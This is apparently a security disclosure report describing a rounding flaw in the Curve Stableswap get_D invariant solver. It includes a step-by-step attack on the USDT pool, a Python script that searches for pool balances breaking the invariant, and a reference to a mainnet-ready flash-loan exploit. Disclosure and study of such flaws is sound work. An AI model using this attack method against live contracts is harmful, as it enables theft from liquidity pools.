Potential critical vulnerability in Curve based contracts

experience, Killari

February 17, 2021

1 Overview

In this document, we describe what we believe constitutes a critical vulnerability in all of the the Curve pools contracts. Used by a malicious attacke, it could gradually empty the pool with a repeat attack. Due to the way the Stableswap invariant is calculated, it is possible to add tokens to the liquidity pools up to precise values found to break the computation. The attacker can then make use of this flaw to effectively steal from the pool through repeated trades in a single transaction. Attached to this report, we provide a collection of scripts used to find the values that break the invariant calculation, and a mainnet ready example of the exploit using Aave flash loans.

2 Theory

In order to make the exploit as clear as possible, we recall the theory of the Stableswap invariant and the way it is implemented in the Curve contracts. Curve is a what has been referred to as a "constant function automated market maker", or CFMM for short. Given a pool $\vec{x}$ composed of n tokens with respective balances x_i, a user requesting to swap some amount Δx_i of tokens i for tokens j should be given an amount Δx_j such that the following equality remains true with the updated balances:

$$An^n \sum x_i + D = ADn^n + \frac{D^{n+1}}{n^n \prod x_i} \tag{1}$$

Where A is a fixed parameter called the "amplification factor". As we can see, it is implied that this equality was true to begin with. In particular, this means that the equation was set with an appropriate value of D. This is because as implied in the Stableswap paper, a D that breaks this equality would not necessarily correspond to a spot price of 1 when balances are close to each other.

To do this, given an initial portfolio of tokens $\vec{x}$, we solve the equation $f(D) = 0$ where:

$$f(D) = An^n \sum x_i + D - ADn^n - \frac{D^{n+1}}{n^n \prod x_i} \tag{2}$$

This is simply Equation 1 written differently. The Curve contract attempts to find an appropriate value of D by solving this equation iteratively using the Newton method. Starting with an initial guess D_0, the next value of D is computed using the following sequence:

$$D_{n+1} = D_n - \frac{f(D_n)}{f'(D_n)} \tag{3}$$

This is done until $\|D_{n+1} - D_n\| < \varepsilon$ with some user defined ε precision. It can be shown that the method either converges to a root of the function, that is, a value of D verifying our equation, or does not converge. The number of steps it takes to converge (if it does) is variable. Below is an example implementation of that algorithm in the Curve contracts from `StableSwapUSDT.vy` :

```
        def get_D(xp: uint256[N_COINS]) -> uint256:
            S: uint256 = 0
            for _x in xp:
                S += _x
            if S == 0:
                return 0

            Dprev: uint256 = 0
            D: uint256 = S
            Ann: uint256 = self.A * N_COINS
            for _i in range(255):
                D_P: uint256 = D
                for _x in xp:
                    D_P = D_P * D / (_x * N_COINS + 1)  # +1 is to prevent /0
                Dprev = D
                D = (Ann * S + D_P * N_COINS) * D / ((Ann - 1) * D + (N_COINS + 1) *
    D_P)
                # Equality with the precision of 1
                if D > Dprev:
                    if D - Dprev <= 1:
                        break
                else:
                    if Dprev - D <= 1:
                        break
            return D

```

As we can see, the algorithm uses 255 iterations, which normally should be enough to converge to a root of the function. But what if we converge to something other than a root of the function before the end of the loop? In $\mathbb{R}$ with a high enough precision and enough iterations that is not possible, but we see that this algorithm uses 256 bits unsigned integers and integers division. If we encounter any value D_i such that $f(D_i) < f'(D_i)$, the integers division will give 0 for $f(D_n)/f'(D_n)$, and we will have $D_{i+1} = D_i$, thus meeting the condition to terminate the loop before we arrive at an appropriate value.

One attack we found consists in finding functions f (i.e. pool balances) that cause this early termination, making it so that `get_D` returns a value of D such that $f(D) \neq 0$, which then leads to incorrect calculations of the amounts to give out after a trade. We can thus do risk-free "virtual arbitrage" in a single transaction, which could gradually empty the pool if repeated enough times.

3 Step-by-step description of an example attack

In this section we describe an attack based on manipulating a pool with a limited amount of liquidity to get an invalid D with the example of the current USDT pool which at the time of writing has reserves of 228K DAI, 718K USDC, 547K USDT.

1. **Find an unbalanced perturbation of the pool leading to an invalid D**

   To do that, we replicate the `get_D` function from the Curve contracts and we "mine" balances within that range that lead to an invalid D. Starting from an approximate `attack_balance` to work with, we iteratively perturb it with the `uniform` function from the `random` package until we find a balances that give an incorrect value of D, i.e. a value of D such that $f(D) \neq 0$. Note that we look for an unbalanced pool because we found in our research that the resulting deviations between invalid and valid D are higher in that case.

2. **Add exactly enough liquidity to the pool so that we reach the `attack_balance` found**

3. **Trade the exact same amounts back and forth**

   In the attacked example exploit, we're trading swapping some amount of cUSDC for cDAI, and then swapping the exact amount of cDAI obtained back to cUSDC. We start from a pool with invalid D, so it will give us some amount of cDAI for our cUSDC. When trading cUSDC back to cDAI, the new D is calculated. Since that new D will be valid with overwhelming probability, there will be a larger than normal discrepancy between those two Ds, which allows us to get more cUSDC out of the operation than we started with.

4. **Repeat step 2 enough times to net a profit compensating for gas fees and flash loan fees**

5. **Withdraw liquidity initially added**

   Since we added liquidity to the pool in the first place, we were in part ”stealing from ourselves” with the previous operations, but there is still some net profit left.

These steps can be repeated *ad infinitum* until the point at which the pools would be very unbalanced after withdrawing liquidity, making the spot price significantly deviate from the “reference” spot price of 1 and allowing for a deadly arbitrage. Below is an excerpt from the Python script that let us find differences of amount given back compared to amount initially traded as high as 1%!

```python

    seed(None)

    while True:

        #Assume 20M of each token available to be able to test many configurations
        funds_avail_ctokens = [DollarsToCTokens(20000000, i) for i in range(N_COINS)]

        resetBalances()

        our_initial_balance = funds_avail_ctokens

        #Current balance of the USDT pool in CTokens

        cdai = current_ctokens[0]
        cusdc = current_ctokens[1]
        cusdt = current_ctokens[2]

        #Enter in USD values for easily understandable adjustments
        attack_balances_usd = [1000000,10000000,5000000]

        #Convert to CTokens
        attack_balances_c_tokens = [DollarsToCTokens(attack_balances_usd[0], 0), DollarsToCTokens(attack_balances_usd[1], 1), DollarsToCTokens(attack_balances_usd[2], 2)]

        #Perturb to find an invalid D
        attack_balances_c_tokens = [int(uniform(0.8,1)*attack_balances_c_tokens[0]), int(uniform(0.8,1)*attack_balances_c_tokens[1]), int(uniform(0.8,1)*attack_balances_c_tokens[2])]

        #Convert to TokensPrecision
        attack_balances_tokens_precision = [CTokensToTokensIncreasedPrecision(attack_balances_c_tokens[0], 0), CTokensToTokensIncreasedPrecision(attack_balances_c_tokens[1], 1), CTokensToTokensIncreasedPrecision(attack_balances_c_tokens[2], 2)]

        #Get D for this pool composition
        D = solver.get_D(attack_balances_tokens_precision, amp)

        #Check if the D found breaks the invariant
        u = USDTpool(attack_balances_tokens_precision, amp, D)

        #If D doesn't verify the invariant relationship
        if abs(u) > 0:

            #Find liquidity to add to get the invalid D found

            liquidityToAdd = [attack_balances_c_tokens[i] - current_ctokens[i] for i in range(N_COINS)]

            #Add liquidity into the original pool to get to the exact attack balances found

            simAddLiquidity(liquidityToAdd)

            #Perform a swap of 40% the original amount of (c)USDC for (c)DAI into that new pool

            #Get amount in
            amountToTradeCUSDC = int(cusdc*0.4)

            #Get the amount out before changing the state of the pool
            amountOutCDAI = solver._exchange(1, 0, current_ctokens, amountToTradeCUSDC, rates, fee, amp)

            #Change state of the pool
            simTrade(1, 0, amountToTradeCUSDC)

            #Trade the exact amount of (c)DAI obtained back to (c)USDC

            amountBackCUSDC = solver._exchange(0, 1, contract_balance, amountOutCDAI, rates, fee, amp)

            simTrade(0, 1, amountOutCDAI)

            if (amountBackCUSDC > 1.009*amountToTradeCUSDC or amountToTradeCUSDC > 1.009*amountBackCUSDC):

                print("Solution found!")

```

The relevant functions used are fully documented in the code attached to this report.